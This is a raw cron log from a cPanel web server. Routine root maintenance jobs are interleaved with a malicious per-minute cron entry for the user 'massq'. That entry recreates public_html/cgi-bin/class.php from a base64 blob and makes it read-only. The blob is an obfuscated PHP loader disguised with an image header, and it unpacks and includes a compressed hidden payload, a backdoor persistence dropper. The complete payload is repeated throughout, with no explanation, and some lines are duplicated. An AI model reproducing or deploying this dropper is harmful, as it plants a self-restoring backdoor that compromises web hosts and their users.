Sep 12 23:42:01 server CROND[4565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:42:01 server CROND[4568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:42:01 server CROND[4567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:42:01 server CROND[4566]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 23:43:01 server CROND[4972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:43:01 server CROND[4974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:43:01 server CROND[4973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:44:01 server CROND[5353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:44:01 server CROND[5354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:44:01 server CROND[5355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:45:01 server CROND[5741]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:45:01 server CROND[5742]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:45:01 server CROND[5743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:45:01 server CROND[5744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:45:01 server CROND[5746]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:45:01 server CROND[5745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:45:01 server CROND[5747]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:46:01 server CROND[6562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:46:01 server CROND[6563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:46:01 server CROND[6566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:47:01 server CROND[7036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:47:01 server CROND[7038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:47:01 server CROND[7036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:47:01 server CROND[7038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:47:01 server CROND[7037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:48:01 server CROND[7420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:48:01 server CROND[7422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:48:01 server CROND[7421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:49:01 server CROND[7847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:49:01 server CROND[7848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:49:01 server CROND[7850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:50:01 server CROND[8267]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 23:50:01 server CROND[8269]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:50:01 server CROND[8273]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:50:01 server CROND[8272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:50:01 server CROND[8271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:50:01 server CROND[8275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:50:01 server CROND[8274]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:50:01 server CROND[8276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:50:01 server CROND[8270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:51:01 server CROND[9092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:51:01 server CROND[9093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:51:01 server CROND[9094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:52:01 server CROND[9560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:52:01 server CROND[9561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:52:01 server CROND[9562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:53:01 server CROND[9933]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep 12 23:53:01 server CROND[9934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:53:01 server CROND[9936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
